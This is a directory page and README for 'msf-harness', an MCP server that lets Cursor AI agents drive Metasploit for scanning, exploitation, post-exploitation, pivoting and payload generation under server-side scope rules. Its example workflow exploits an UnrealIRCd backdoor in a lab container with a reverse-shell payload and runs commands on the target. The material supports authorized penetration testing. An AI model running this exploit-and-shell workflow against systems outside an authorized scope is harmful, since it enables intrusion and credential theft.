msf-harness
Provides tools to interact with the Metasploit Framework via RPC, enabling agents to perform reconnaissance, exploitation, session management, post-exploitation, pivoting, payload generation, and database operations with server-side scope enforcement.
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@msf-harnessScan 10.255.255.254 and exploit UnrealIRCd"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
Metasploit Cursor Harness
Agentic penetration testing harness that bridges Cursor AI agents with the Metasploit Framework via MCP (Model Context Protocol). Provides structured, scope-enforced access to Metasploit RPC through 54 purpose-built tools spanning reconnaissance, exploitation, session management, post-exploitation, pivoting, payload generation, and database operations.
Built for authorized lab and professional pentest workflows with explicit rules of engagement, server-side policy enforcement, audit logging, and PTES-aligned phase/gate methodology.
Why This Harness
Capability | This Harness | Official msfmcpd | GH05TCREW/MetasploitMCP |
Tool count | 54 | ~23 | ~15 |
Server-side ROE (CIDR, module, session) | Yes | No | No |
Cursor hooks (scope gates, risk scoring, evidence) | 18 scripts | No | No |
PTES workflow phases/gates | 7 phases, 57 skills | No | No |
Console-first exploit execution | Yes | No | Yes |
asyncio.to_thread (non-blocking) | Yes | Yes | No |
Domain authorization | Yes (fail-closed) | No | No |
Auto LHOST detection | Yes (cross-platform) | No | No |
Check-before-exploit gate | Enforced | No | No |
Audit logging + world state | Yes | No | No |
Self-contained pentest skills | 57 skills across 5 tiers | No | No |
Related MCP server: MSFConsole MCP Server
Features
54 MCP tools covering recon, exploitation, sessions, Meterpreter ops, pivoting, payloads, handlers, workspaces, console, database writes, and lab helpers
Console-first exploits with synchronous output capture, session detection, and failure parsing
Server-side ROE enforcement: CIDR scope, domain authorization, CIDR width caps, session limits, DoS blocking, check-before-exploit gate
18 Cursor hook scripts: scope validation, risk scoring (0-100), duplicate detection, evidence logging, world state tracking, credential redaction
57 self-contained agent skills: PTES workflow, domain-specific playbooks (web, AD, cloud, containers, mobile, binary, evasion, service-level, vuln-class)
5 specialized subagents: orchestrator, recon, exploit, post-exploitation, reviewer
Platform Support
Platform | Status | Notes |
Windows + WSL2 + Kali | Primary | Full hook pipeline, lab Docker support |
Native Linux / Kali | Supported | Requires |
macOS + remote MSF | Experimental | MCP server works; hooks need |
Prerequisites
Python 3.10+
Metasploit Framework (in WSL/Kali or native Linux)
Cursor IDE with MCP support
PowerShell Core (
pwsh) for hook pipelineAuthorized targets defined in
scope/scope-master.txt
Quick Start
1. Clone and install
git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"2. Configure credentials
cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)3. Start Metasploit RPC
Windows (WSL):
.\scripts\start-msfrpcd.ps1Linux / Kali (native):
./scripts/start-msfrpcd.sh4. Enable MCP in Cursor
cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project pathToggle msf-harness on in Cursor Settings > MCP.
5. Verify setup
python scripts/doctor.py # Check all prerequisites
python scripts/validate-mcp.py # Test RPC connectivityThen in Cursor chat, run msf_status to confirm the MCP connection.
6. Lab targets (optional)
See docs/LAB.md for the built-in Metasploitable2 Docker lab.
For HackTheBox, TryHackMe, OSCP, or your own targets, see docs/BYO-TARGETS.md.
For detailed setup instructions, see docs/SETUP.md.
Or run the one-command bootstrap:
.\scripts\bootstrap.ps1Your First Exploit
Once setup is complete and msf_status works in Cursor chat, try this end-to-end demo against the Docker lab:
1. Start the lab targets:
.\scripts\start-lab-targets.ps12. In Cursor chat, ask the agent to exploit the lab:
Scan the lab target at 10.255.255.254 port 9667 and exploit the UnrealIRCd backdoor using engagement lab-default
The agent will:
Run
msf_module_checkto verify the target is vulnerable (required by ROE)Call
msf_get_lab_networkto auto-detect LHOSTRun
msf_run_exploitwithexploit/unix/irc/unreal_ircd_3281_backdoorCall
msf_list_active_sessionsto confirm the shellUse
msf_send_session_commandto run commands on the target
Or do it step-by-step with individual MCP tool calls:
msf_status # Verify RPC connection
msf_get_lab_network # Get LHOST and port map
msf_module_check(...) # Probe for vulnerability
msf_run_exploit(...) # Pop a shell
msf_send_session_command(command="id") # Run commands on targetSee docs/LAB.md for the full port map and exploit-specific notes.
Architecture
Cursor Agent
|-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
|-- Skills (.cursor/skills/: 57 pentest playbooks)
|-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
|-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
|
v
msf-harness MCP Server (Python, FastMCP, stdio transport)
|-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
|-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
|-- Policy/ROE (server-side CIDR, domain, module, session validation)
|-- Console engine (synchronous module execution with output capture)
|
v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
|
v
msfdb (PostgreSQL)MCP Tools (54 total)
Read-Only (no engagement_id required)
Tool | Purpose |
| Check RPC connectivity, version, session count |
| Search modules by keyword, CVE, or name |
| Module options, targets, references, rank |
| Get configurable options for a module |
| Get statistics on currently running modules |
| List modules by type with optional filter |
| Query discovered hosts from msfdb |
| Query discovered services (ports, protocols) |
| Query vulnerability records |
| Query annotations/notes |
| Query harvested credentials |
| Query collected loot/files |
| List current sessions with type and target |
| Get detailed info for a single session |
| List active handlers/background jobs |
| Get details for a specific job |
| Search available payloads by name/platform/arch |
| List payloads compatible with a given module |
| List database workspaces |
| Check database connectivity and driver info |
| List active RPC console instances |
| Get lab target config (Docker ports, LHOST) |
| List active routes for session pivoting |
Action (require engagement_id)
Tool | Purpose |
| Safe vulnerability probe (non-exploitative) |
| Query results of an async module job by UUID |
| Execute exploit module (console or RPC job mode, configurable timeout) |
| Run auxiliary module (scanner, fuzzer; optional console mode) |
| Run post-exploitation module on a session (optional console mode) |
| Execute command in active shell/meterpreter |
| Kill a session |
| Poll for new sessions after exploit/handler |
| Upgrade shell to Meterpreter |
| Get OS/arch/hostname from Meterpreter session |
| Get current user identity from Meterpreter session |
| List running processes in Meterpreter session |
| Download file from target to evidence/ |
| Upload file from evidence/ to target (sandboxed) |
| Run Meterpreter script in session |
| Start multi/handler listener |
| Stop a background job |
| Stop all background jobs to free ports |
| Generate payload file (saved to evidence/) |
| Create database workspace |
| Switch active workspace |
| Delete a database workspace |
| Import scan data (nmap XML, Nessus, etc.) |
| Run nmap and auto-import results |
| Run arbitrary msfconsole command via RPC |
| Add route through session for pivoting |
| Remove a route |
| Auto-add routes via post/multi/manage/autoroute |
| Manually report host to database |
| Store discovered credential in database |
| Add note/annotation to database |
Example Workflow
# 1. Verify connection
msf_status()
# 2. Scan target ports
msf_run_auxiliary_module(
engagement_id="lab-default",
module_name="auxiliary/scanner/portscan/tcp",
options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)
# 3. Check what's open
msf_service_info(host="10.255.255.254")
# 4. Check before exploit (required by ROE)
msf_module_check(
engagement_id="lab-default",
module_type="exploit",
module_name="unix/irc/unreal_ircd_3281_backdoor",
options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)
# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
engagement_id="lab-default",
module_name="unix/irc/unreal_ircd_3281_backdoor",
options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
payload="generic/shell_reverse_tcp",
payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
run_check_first=True
)Safety Model
Server-side ROE (
msf_harness/mcp/policy/roe.py): validates targets against engagement CIDRs, blocks forbidden modules, enforces session limits, caps CIDR scan width, requires check-before-exploit, validates domains (fail-closed)Cursor hooks (
.cursor/hooks/): scope gates on every shell command and MCP call, risk scoring (0-100 with CRITICAL escalation), duplicate detection, audit logging tologs/command-ledger.jsonl, evidence auto-save, credential redactionConsole command parsing:
msf_console_executeextracts and validates RHOSTS, module paths, and db_nmap targets from raw commandsFile path restrictions:
msf_db_importandmsf_generate_payloadrestricted toevidence/andengagements/directoriesDoS modules (
auxiliary/dos/*) blocked unconditionallyInput sanitization: nmap args allowlisted, option keys validated, console values quote-escaped
Use only on systems you are authorized to test.
Troubleshooting
Symptom | Fix |
| Run |
MCP server not appearing in Cursor | Ensure |
"MSF_PASSWORD is not set" | Set it in |
"Target not in scope" or ROE denial | Add the target IP/CIDR to |
Module check fails with "not supported" | Some modules lack a |
No session after exploit | Verify LHOST is correct ( |
Hook errors in Cursor output | Verify |
Python import errors | Run |
Run python scripts/doctor.py for a full prerequisite health check.
Development
pip install -e ".[mcp,dev]"
python -m pytest tests/ -v # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1 # 120 hook tests
python scripts/validate-mcp.py # RPC connectivitySee CONTRIBUTING.md for development setup and PR guidelines.
Directory Structure
Path | Purpose |
| Python MCP server package |
| MCP tool implementations (12 modules, 54 tools) |
| Metasploit RPC client with auto-reconnect |
| ROE enforcement (CIDR, domain, module, session, exploit-gate) |
| Authorized target CIDRs and domains |
| Per-engagement ROE configs and workflow state |
| Captured evidence (gitignored) |
| Hook audit logs and command ledger (gitignored) |
| PowerShell Core safety gates (18 scripts) |
| Agent workflow playbooks (57 skills) |
| Custom subagent definitions (5 agents) |
| Always-on agent guidance (3 rules + AGENTS.md) |
| Utility scripts (start RPC, create engagement, health check, validate MCP) |
| Pytest + hook test suites |
| Setup guide, lab guide, BYO targets guide |
License
Acknowledgments
Rapid7 Metasploit Framework and official
msfmcpdGH05TCREW/MetasploitMCP for console execution patterns
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceA FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.14Apache 2.0
- AlicenseNot gradedqualityDmaintenanceEnables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.8MIT
- -licenseNot gradedqualityNot gradedmaintenanceEnables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.2
- AlicenseBqualityDmaintenanceEnables interaction with Metasploit Framework for authorized security testing, including exploit searches, payload management, network scanning with nmap, and database operations for penetration testing workflows.9MIT
Related MCP Connectors
MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.
Free public MCP for AI agents — 193 tools, 44 workflows. No API key.
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'
If you have feedback or need assistance with the MCP directory API, please join our Discord server